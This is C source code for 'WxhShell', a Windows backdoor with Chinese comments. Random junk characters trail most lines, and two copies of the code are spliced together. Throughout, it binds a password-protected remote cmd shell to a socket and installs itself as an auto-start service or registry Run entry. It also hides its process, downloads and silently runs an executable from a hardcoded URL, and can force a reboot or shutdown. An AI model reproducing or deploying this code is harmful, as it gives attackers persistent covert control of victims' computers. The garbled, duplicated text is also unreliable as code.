    if(Boot(SHUTDOWN)) YidcVlOsO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wa;N(zw0h  
    else { vC]X>P5Px  
    closesocket(wsh); *byUqY3(  
    ExitThread(0); i?T-6{3I  
    } Q 3WD!Z8y  
    break; +d, ~h_7!  
    } ieyK$q  
  // 获取shell ^t0!Dbx3SE  
  case 's': { k1Y\g'1  
    CmdShell(wsh); M;A_'h?Z  
    closesocket(wsh); [RF,0>^b  
    ExitThread(0); K^WDA])  
    break; A7 RI&g v5  
  } *HrEh;3^J  
  // 退出 }*x1e_m}H  
  case 'x': { QqM[W/&R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N*gJu  
    CloseIt(wsh); I~7iIUD  
    break; 'F W?   
    } f3UCELJ  
  // 离开 N{Sp-J>  
  case 'q': { @IG's-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !)a_@d.;i  
    closesocket(wsh); HLyA zB~r  
    WSACleanup(); 8xy8/UBIk0  
    exit(1); fJFNS y  
    break; 1/$PxQ  
        } -2hirA<^  
  } c>bns/f  
  } b9H(w%7ucU  
&}DfIP<  
  // 提示信息 y##h(y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .}__XWK5  
} CW1l;uwtU  
  } UyGo0POW  
45~x #Q  
  return; l b(  
} & bTCTDZh  
n Bm ]?  
// shell模块句柄 [F<E0rjwM  
int CmdShell(SOCKET sock) (]@S<0  
{ *7Vb([x4;  
STARTUPINFO si; tLzLO#/n  
ZeroMemory(&si,sizeof(si)); eRUdPPq_d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <Jgcj 4D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YZ~MByu  
PROCESS_INFORMATION ProcessInfo; hBU)gP75  
char cmdline[]="cmd"; w=GMQ8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  'z} t= ?  
  return 0; 0U=wGI O  
} $N?8[  
O:?3B!wF  
// 自身启动模式 ;yNc 7Vl  
int StartFromService(void) $PJ==N  
{ ZTR9e\F  
typedef struct N R c4*zQJ  
{ R3B+vLGX  
  DWORD ExitStatus; qO{z{@jo55  
  DWORD PebBaseAddress; ` GF w?G  
  DWORD AffinityMask; P<pv@ l9)  
  DWORD BasePriority; ~b_DFj  
  ULONG UniqueProcessId; UytMnJ88  
  ULONG InheritedFromUniqueProcessId; :FAPH8]  
}   PROCESS_BASIC_INFORMATION; ,z&S;f.f  
<rzP  
PROCNTQSIP NtQueryInformationProcess; dN2JOyS  
NK|UeL7ght  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GxdAOiq;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &nEL}GM)E  
fRS;6Jc  
  HANDLE             hProcess; # xtH6\X  
  PROCESS_BASIC_INFORMATION pbi; xmg3,bO  
eiK_JPFA-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *PF<J/Pr  
  if(NULL == hInst ) return 0; ^hLr9k   
_LJF:E5L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2yA)SGri  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U[wx){[|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bq/Aopfr  
9c^,v_W@  
  if (!NtQueryInformationProcess) return 0; ~0MpB~ {xd  
=E9\fRGU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j_JY[sex  
  if(!hProcess) return 0; Tpl]\L1v-  
0pE >O7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D:T]$<=9  
i{^T;uAE  
  CloseHandle(hProcess); K<P d.:  
QFP9"FM5F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H )ej]DXy  
if(hProcess==NULL) return 0; ACyK#5E  
s%:fZ7y  
HMODULE hMod; j[U#J  
char procName[255]; &g|[/~dIr  
unsigned long cbNeeded; |62` {+  
V'vWz`#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `'1g>Ebk0  
d]DV\*v  
  CloseHandle(hProcess); I=dG(?#7%  
[=K lDfU=  
if(strstr(procName,"services")) return 1; // 以服务启动 I?rB7 *:  
 [ <X%  
  return 0; // 注册表启动 )] @h}K}  
} cx[^D,usf~  
[ U:C62oK,  
// 主模块 JL6$7h  
int StartWxhshell(LPSTR lpCmdLine) 4>,X.|9{  
{ nH#>_R (  
  SOCKET wsl; C hF~  
BOOL val=TRUE; Y-ao yoNS  
  int port=0; 5%jhVys23  
  struct sockaddr_in door; <Y yE1 |  
(%6fMVp  
  if(wscfg.ws_autoins) Install(); |nNcV~%~  
hTDK[4e  
port=atoi(lpCmdLine); Qu|CXUk  
=F+v+zP7P  
if(port<=0) port=wscfg.ws_port; /h>g-zb  
O},}-%G  
  WSADATA data; ed6@o4D/kf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; re*}a)iL  
=Dn <DV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !Se0&Ob  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %#2$B+  
  door.sin_family = AF_INET; 03~ ADj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RqA>"[L  
  door.sin_port = htons(port); W %*#rcdq  
O,r;-t4vYU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p!pf2}6Fd  
closesocket(wsl); X.b8qbnq[  
return 1; =v:?rY}  
} gkr9+  
>ai,6!  
  if(listen(wsl,2) == INVALID_SOCKET) { *L^W[o  
closesocket(wsl); L$5,RUy  
return 1; 6q^$}eOt  
} FJ3S  
  Wxhshell(wsl); @1*^ttC  
  WSACleanup(); 3L&:  
av'm$I|O  
return 0; oh{>nwH  
7DAP_C  
} 2 5 \S>  
.8YxEnXw)(  
// 以NT服务方式启动 Uj5-x%~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h4]^~stI  
{ qPPe)IM'Sc  
DWORD   status = 0; :-RB< Lj  
  DWORD   specificError = 0xfffffff; Xl4}S"a  
cKVFykwM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e\6H.9=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^*AI19w!Ys  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U<'N=#A J  
  serviceStatus.dwWin32ExitCode     = 0; {T8;-H0H  
  serviceStatus.dwServiceSpecificExitCode = 0; SW9 C 8Q  
  serviceStatus.dwCheckPoint       = 0; 9"P+K.%  
  serviceStatus.dwWaitHint       = 0; M+%Xq0`T  
6 - 3?&+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'C5id7O&  
  if (hServiceStatusHandle==0) return; ZVXPp -M  
:SaZhY  
status = GetLastError(); ):K%  
  if (status!=NO_ERROR) !FgZI4?/Y=  
{ 'ma X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s,Gl{  
    serviceStatus.dwCheckPoint       = 0; ek&~A0k_o  
    serviceStatus.dwWaitHint       = 0; %M96 m   
    serviceStatus.dwWin32ExitCode     = status; -m^- p  
    serviceStatus.dwServiceSpecificExitCode = specificError; pB:XNkxL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rD}g9?ut  
    return; T 6D+@i  
  } boojq{cvYA  
v]cw})l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s~7a-J  
  serviceStatus.dwCheckPoint       = 0;  DXf  
  serviceStatus.dwWaitHint       = 0; "1,*6(;:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9:2Bt <q  
} IP`lx  
KkUK" Vc  
// 处理NT服务事件,比如:启动、停止 KPToyCyR1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A}lxJ5h0  
{ % mQ&pk  
switch(fdwControl) as@8L|i*  
{ qxI $F  
case SERVICE_CONTROL_STOP: ?-j/X6(\(  
  serviceStatus.dwWin32ExitCode = 0; 3S3 a|_+%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +<Gp >c  
  serviceStatus.dwCheckPoint   = 0; MnD}i&k[  
  serviceStatus.dwWaitHint     = 0; <{W{ Y\_A>  
  { $z_yx `5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :aOR@])>o  
  } ^=x/:0  
  return; l9 \W=-'  
case SERVICE_CONTROL_PAUSE: #]dm/WzY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JL,Y9G*]s  
  break; b|_e):V|  
case SERVICE_CONTROL_CONTINUE: M+:5gMB'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d dgDq0N1j  
  break; XHA|v^  
case SERVICE_CONTROL_INTERROGATE: r:sa|+  
  break; HVa D  
}; IT NFmD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OP\jO DX  
} xuUEJ a&  
pEwo}NS*H  
// 标准应用程序主函数 1KUjb@"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |pHlBzHj  
{ P7w RX F{  
ku,{NY f^Y  
// 获取操作系统版本 a6gw6jQ  
OsIsNt=GetOsVer(); N5K(yY_T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -L/%2 X  
5ih>x3S1/  
  // 从命令行安装 +[ ?!@)  
  if(strpbrk(lpCmdLine,"iI")) Install(); ` +YtTK  
<Z.`X7]Uk  
  // 下载执行文件 JLm3qIC  
if(wscfg.ws_downexe) { Dspvc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Pyuul4(  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^1){ @(  
} =bh: U90y  
1{M?_~g 4  
if(!OsIsNt) { Un8' P8C  
// 如果时win9x,隐藏进程并且设置为注册表启动 (EcP'F*;;y  
HideProc(); pT=^o  
StartWxhshell(lpCmdLine); NlF*/Rs  
} !BVCuuM>w  
else "3VX9{'%@  
  if(StartFromService()) -n 7 @r  
  // 以服务方式启动 lq.:/_m0  
  StartServiceCtrlDispatcher(DispatchTable); ~2>Adp  
else "81'{\(I_  
  // 普通方式启动 <6;M\:Y*T  
  StartWxhshell(lpCmdLine); pmP~1=3  
_Yo)m |RaB  
return 0; 0y$VPgsKf  
} Y[e.1\d'  
5 Y&`ZJ  
gE#|eiu  
#r9\.NA!  
=========================================== "iEnsP@'Wg  
X_'tgP9  
I'IFBVhaYn  
GDCp@%xW  
;#zteqn  
4Yvz-aSyO  
" n=j) M  
K^o$uUBe  
#include <stdio.h> IwYfs]-  
#include <string.h> 2@bOy~$A  
#include <windows.h> gH7  +#/  
#include <winsock2.h> \j!/l f)  
#include <winsvc.h> @MibKj>o  
#include <urlmon.h> _v#pu Fy  
egsP\ '  
#pragma comment (lib, "Ws2_32.lib") & PXT$x[i  
#pragma comment (lib, "urlmon.lib") {*bx8*y1  
 p[&J l  
#define MAX_USER   100 // 最大客户端连接数 S8qg"YR  
#define BUF_SOCK   200 // sock buffer } Nn+Ny  
#define KEY_BUFF   255 // 输入 buffer ,]\cf  
->pU!f)\X  
#define REBOOT     0   // 重启 _f 2rz+  
#define SHUTDOWN   1   // 关机 jy0aKSn8  
ue3 ].:  
#define DEF_PORT   5000 // 监听端口 U;3t{~Ym  
h];H]15&  
#define REG_LEN     16   // 注册表键长度 $`UdG0~  
#define SVC_LEN     80   // NT服务名长度 xpp nBnu$7  
)7Hx <?P  
// 从dll定义API RNB -W%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bCP2_h3*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "{@[06|1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ps:"0^7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `\:Ede  
>]_6|Wfl  
// wxhshell配置信息 ,L  
struct WSCFG { l'<&H#A;'  
  int ws_port;         // 监听端口 PO5,lcBD<  
  char ws_passstr[REG_LEN]; // 口令 #O_%!7M{4  
  int ws_autoins;       // 安装标记, 1=yes 0=no M5RN Z%  
  char ws_regname[REG_LEN]; // 注册表键名 M p <r`PM2  
  char ws_svcname[REG_LEN]; // 服务名 #<Y3*^~5d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CSjd&G *ZB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A ___| #R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ma\%uEgTD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5Kd"W,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t0cS.hi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sh,4n{+  
'r=2f6G>cP  
}; W8`6O2  
hwk] ;6[  
// default Wxhshell configuration M%54FsV  
struct WSCFG wscfg={DEF_PORT, W`LG.`JW  
    "xuhuanlingzhe", [pms>TQ2  
    1, s8A"x`5(  
    "Wxhshell", ^%%Rf  
    "Wxhshell", "&XhMw4  
            "WxhShell Service", (8~mf$ zx,  
    "Wrsky Windows CmdShell Service", V*JqC  
    "Please Input Your Password: ", #5y+gdN  
  1, ;\pINtl9<  
  "http://www.wrsky.com/wxhshell.exe", P;(@"gD8z5  
  "Wxhshell.exe" #/I+[|=[O  
    }; f.` 8vaV  
q9x@Pc29d  
// 消息定义模块 yU(}1ZID  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N (\n$bpTt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5jK|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (eb65F@P  
char *msg_ws_ext="\n\rExit."; z( ^?xv  
char *msg_ws_end="\n\rQuit."; 3Yx'/=]  
char *msg_ws_boot="\n\rReboot..."; M'|[:I.V  
char *msg_ws_poff="\n\rShutdown..."; MZ0cZv$v!~  
char *msg_ws_down="\n\rSave to "; g#fn(A  
4T52vM  
char *msg_ws_err="\n\rErr!"; Jo qhmn$j  
char *msg_ws_ok="\n\rOK!"; )Dms9:  
KiMlbF.~V  
char ExeFile[MAX_PATH]; *eD[[HbKX  
int nUser = 0; +(`D'5EB(  
HANDLE handles[MAX_USER]; s`Z.H5V>\  
int OsIsNt; G$_)X%Vb I  
{8":c n j  
SERVICE_STATUS       serviceStatus; .mwW`D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w&#[g9G%  
^Rl?)_)1HE  
// 函数声明 D:K"J><@  
int Install(void); $EIKi'!8  
int Uninstall(void); N:'GNMu  
int DownloadFile(char *sURL, SOCKET wsh); YG?4DF  
int Boot(int flag); M-;Mw Lx  
void HideProc(void); Xa-TNnws?  
int GetOsVer(void); lO9Ixhf~iu  
int Wxhshell(SOCKET wsl); G]xYQ]  
void TalkWithClient(void *cs); |$\1E+  
int CmdShell(SOCKET sock); ?$I9/r  
int StartFromService(void); ,;MUXCC'  
int StartWxhshell(LPSTR lpCmdLine); Dg~m}La  
Q<szH1-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,d!@5d&Zi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f"\klfrRI_  
#v$wjqK5  
// 数据结构和表定义 -1$z=,q'  
SERVICE_TABLE_ENTRY DispatchTable[] = }VWUcALJV  
{ ( +S-  
{wscfg.ws_svcname, NTServiceMain}, Qa2p34Z/  
{NULL, NULL} 4uE )*1  
}; _H}hK kG+  
Qa9@Q$  
// 自我安装 hb0)<^xu  
int Install(void) O.Te"=^"F  
{ lV3k4iRH  
  char svExeFile[MAX_PATH]; s 7%iuP  
  HKEY key; @D["#pe,}  
  strcpy(svExeFile,ExeFile);  EAr;  
Uv?^qe0=  
// 如果是win9x系统,修改注册表设为自启动 ~T9QpL1OJ  
if(!OsIsNt) { q|klsup  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kwww5p ["  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aox@- jyr  
  RegCloseKey(key); TWRnty-C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wd+kjI\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WAuT`^"u  
  RegCloseKey(key); c|'$3dB*  
  return 0; ,QA=)~;D  
    } >'m&/&h  
  } 9 M?UPE  
} 5D-as9k*  
else { q$H@W. f  
2ZbSdaM=  
// 如果是NT以上系统,安装为系统服务 :%28*fl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jL)Y'  
if (schSCManager!=0) 5Uhxl^c  
{ GaJE(N  
  SC_HANDLE schService = CreateService VqD_FS;E  
  ( f]sR4mhO  
  schSCManager, iz[IK%K  
  wscfg.ws_svcname, U![$7k>,pr  
  wscfg.ws_svcdisp, Dbx zqd  
  SERVICE_ALL_ACCESS, n0K+/}m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J_XkQR[Y  
  SERVICE_AUTO_START, 1NTx?JJfW  
  SERVICE_ERROR_NORMAL, rHybP6C<  
  svExeFile, l7<VHz0b  
  NULL, AU}|o0Ur  
  NULL, p.MLKp-'  
  NULL, KqBiF]Q  
  NULL, -W/D Cj<  
  NULL 3*{l^<`:gA  
  ); #;1RStb:zj  
  if (schService!=0) @^# 9N!Fj]  
  { DHhty qm  
  CloseServiceHandle(schService); _BgWy#  
  CloseServiceHandle(schSCManager); b9wC:NgQx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?J+*i d  
  strcat(svExeFile,wscfg.ws_svcname); GVf[H2%H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s/3sOb}sA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "NEKz  
  RegCloseKey(key); qauvwAMuX  
  return 0; lA6{TH.x  
    } 'UGgY3  
  } "9~KVILlLu  
  CloseServiceHandle(schSCManager); U5F1m]gFr  
} 9N2.:<so  
} N!tNRMTi  
AjO{c=d  
return 1; #K`[XA  
} JvCy&xrE;  
[H$kVQC  
// 自我卸载 BHkicb?   
int Uninstall(void) @C('kUX~!  
{ !6#.%"{-  
  HKEY key; JHg;2xm"<K  
8A*tpMV?J  
if(!OsIsNt) { i$:yq.DW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fI.X5c>WK  
  RegDeleteValue(key,wscfg.ws_regname); a>ye  
  RegCloseKey(key); |1<B(iB'{/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uzp\<\d-t  
  RegDeleteValue(key,wscfg.ws_regname); g<w1d{Td  
  RegCloseKey(key); d;3f80Kd*  
  return 0; ^"uD:f)  
  } n"~K",~P  
} iH dX  
} <P*7u\9&  
else { tqt~F2u  
Xp6Z<Z&N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wk=s3^  
if (schSCManager!=0) x6\^dVR}  
{ }\A 0g}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uc=u4@.>  
  if (schService!=0) pJo4&Ff  
  { '7@Dw;   
  if(DeleteService(schService)!=0) { xkkG#n)  
  CloseServiceHandle(schService); AGx(IK/_  
  CloseServiceHandle(schSCManager); A~s6~  
  return 0; &u) qw }  
  } ZY6%%7?1  
  CloseServiceHandle(schService); nxm*.&#p?  
  } QdD@[  
  CloseServiceHandle(schSCManager); nAsc^ Yh  
} F"tM?V.|  
} >;s2V_d  
`"xzC $  
return 1; '81Rwp  
} t?;=\%^<  
Mu$q) u  
// 从指定url下载文件 IpKI6[2{`f  
int DownloadFile(char *sURL, SOCKET wsh) p@?(m/m$  
{ &Ci_wDJ  
  HRESULT hr; # M Y4Mr  
char seps[]= "/"; kc@ \AZb  
char *token; <rU+{&FKNL  
char *file; X&i" K'mV  
char myURL[MAX_PATH]; N B8Yn\{B  
char myFILE[MAX_PATH]; u)D!RhV&  
7i=ER*F~  
strcpy(myURL,sURL); 'Rv.6>xqc  
  token=strtok(myURL,seps); +~;#!I@Di  
  while(token!=NULL) !_&;#j](  
  { 1@+&6UC  
    file=token; mm | *  
  token=strtok(NULL,seps); (tg+C\ S.  
  } Wx8 cK=  
LH~ t5  
GetCurrentDirectory(MAX_PATH,myFILE); iZ(p]0aP7  
strcat(myFILE, "\\"); 1u* (=!  
strcat(myFILE, file); X(]J\?n'  
  send(wsh,myFILE,strlen(myFILE),0); 6fT^t!<i  
send(wsh,"...",3,0); I(9+F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,(+ZD@Rg  
  if(hr==S_OK) s21)*d  
return 0; 2%pe.s tQ  
else `ih#>i_ &  
return 1; '?E@H.""  
A.!3{pAb  
} ?Xp+5{  
c,*a|@  
// 系统电源模块 s6oIj$  
int Boot(int flag) 368H6 Jj  
{ Bf,}mCq  
  HANDLE hToken; gdqED}v  
  TOKEN_PRIVILEGES tkp; k{\a_e`  
NE@P8pQ>  
  if(OsIsNt) { %1i *Y*wg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ez>!%Hpn\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sgB|2cj;j  
    tkp.PrivilegeCount = 1; l-'\E6grdH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?&b"/sRS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ak\"C4s  
if(flag==REBOOT) { ZB,UQ~!Yr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KeC&a=HL  
  return 0; YgkQF0+  
} {5T:7*J  
else { w6l56 CB`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v XR27  
  return 0; `u8=~]rblj  
} y$?O0S%F  
  } pzDz@lAwR  
  else { V##TG0  
if(flag==REBOOT) { * \ tR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N)YoWA>#bF  
  return 0; 2u} ns8wn  
} 9kas]zQ%=P  
else { 2-wgbC5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6c[ L*1  
  return 0; Sr6?^>A@t  
} bB.Yq3KI  
} DJH,#re>  
leJ3-w{ 2  
return 1; l{3ZN"`I  
} jTok1k  
l @r`NFWD@  
// win9x进程隐藏模块 RgVg~?A@  
void HideProc(void) '/F~vSQsR  
{ o@|kq1m8  
!p 70g0+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xb^M33-y  
  if ( hKernel != NULL ) E._/PB  
  { fH_Xm :%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9OM&&Ue<E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X^. ~f+d~  
    FreeLibrary(hKernel); V}t8H  
  } J2$ =H1-  
I,?!NzB  
return; 1++Fs  
} atfK?VK#  
\ id(P3M  
// 获取操作系统版本 FVoKNaK-  
int GetOsVer(void) + hMF\@  
{ NJ!}(=1|K  
  OSVERSIONINFO winfo; hhr>nuA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Um I,?p  
  GetVersionEx(&winfo); ;DI"9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g_MxG!+(V  
  return 1; 2}#VB;B  
  else -"n8Wv  
  return 0; yTU'voE.|  
} SQf.R%cg$  
a~`,zQ -@  
// 客户端句柄模块 %A;s 3 ]V  
int Wxhshell(SOCKET wsl) 259:@bi!y  
{ 7Y*Q)DDy  
  SOCKET wsh; @XX7ydG5  
  struct sockaddr_in client; d>1#|  
  DWORD myID; 4{ exv  
; HjT  
  while(nUser<MAX_USER) 2v1dSdX,W  
{ 6Nz S<  
  int nSize=sizeof(client); #4?:4Im#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &}lRij&`  
  if(wsh==INVALID_SOCKET) return 1; N'0fB`:kz  
8B7,qxZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ny+_&l^R~(  
if(handles[nUser]==0) *|/kKvN  
  closesocket(wsh); H AMps[D[  
else uGS^*W$  
  nUser++; >qynd'eToR  
  } ;?!pcvUi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vjXCArS  
v 1Jg8L=  
  return 0; SCD;(I~4  
} %J|xPp)  
6T A2  
// 关闭 socket 5lakP?  
void CloseIt(SOCKET wsh) &Zm1(k6&K  
{ /)xQ# yfX  
closesocket(wsh); 'lR f  
nUser--; 0XrOOYmx  
ExitThread(0); ))#_@CwRr  
} [wjH;f>SQ  
*", BP]]  
// 客户端请求句柄 >U') ICD~  
void TalkWithClient(void *cs) H6-{(: *<  
{ #h7 $b@  
'd|E>8fejG  
  SOCKET wsh=(SOCKET)cs; 7:h_U9Za?$  
  char pwd[SVC_LEN]; ?nx 1{2[  
  char cmd[KEY_BUFF]; Q02:qn?T  
char chr[1]; Ph C{Gg  
int i,j; 82Nw 6om6i  
08E,U  
  while (nUser < MAX_USER) { 5%(xZ  6  
B?<Z(d7  
if(wscfg.ws_passstr) { OL$^7FB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3ocRq %%K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +N!!Z2  
  //ZeroMemory(pwd,KEY_BUFF); 5v-o2  
      i=0; 0i9C\'W`  
  while(i<SVC_LEN) { 7)+%;|~  
}WG -R  
  // 设置超时 z`rW2UO#a`  
  fd_set FdRead; .(8eWc YK  
  struct timeval TimeOut; 3+# "4O  
  FD_ZERO(&FdRead); p4{3H+y  
  FD_SET(wsh,&FdRead); jp QmKX  
  TimeOut.tv_sec=8; $^"_Fox]A\  
  TimeOut.tv_usec=0; dq$C COC^F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'QEQyJ0EB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^,;8ra*h  
h\$juIQa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lIF*$#`oh*  
  pwd=chr[0]; {uMqd-Uu  
  if(chr[0]==0xd || chr[0]==0xa) { FUU/=)^P$  
  pwd=0; 2T#>66^@q  
  break; /w*;|4~Bf  
  } ^5![tTJ  
  i++;  <E&"]  
    } k34!*(`q  
qfzT8-Y  
  // 如果是非法用户,关闭 socket db.E-@W.OI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s|=.L&"   
} =D~RIt/D  
C:d$   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #NLLl EE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1)f~OL8o  
Eq?d+s>  
while(1) { dd%-bI^  
}D&fw=r"M  
  ZeroMemory(cmd,KEY_BUFF); 6 bnuC  
&OSyU4r  
      // 自动支持客户端 telnet标准   Nd4!:.  
  j=0; )<1}`9G  
  while(j<KEY_BUFF) { |K6hY-uC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H/6GD,0  
  cmd[j]=chr[0]; s%R'c_cGZ  
  if(chr[0]==0xa || chr[0]==0xd) { ~h*p A8^L  
  cmd[j]=0; xiPP&$mg  
  break; g"Z X1X  
  } R7 *ek_  
  j++; Li;(~_62a]  
    } i\?P>:)  
p;rG aLo:u  
  // 下载文件 [#R<Z+c  
  if(strstr(cmd,"http://")) { p@7[w@B\c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zl !`*{T{  
  if(DownloadFile(cmd,wsh)) U'acVcD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1$Pn;jg:  
  else 8oj-5|ct  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H-,RzL/  
  } #}A >B  
  else { 61J01(+|  
x@]pUA1  
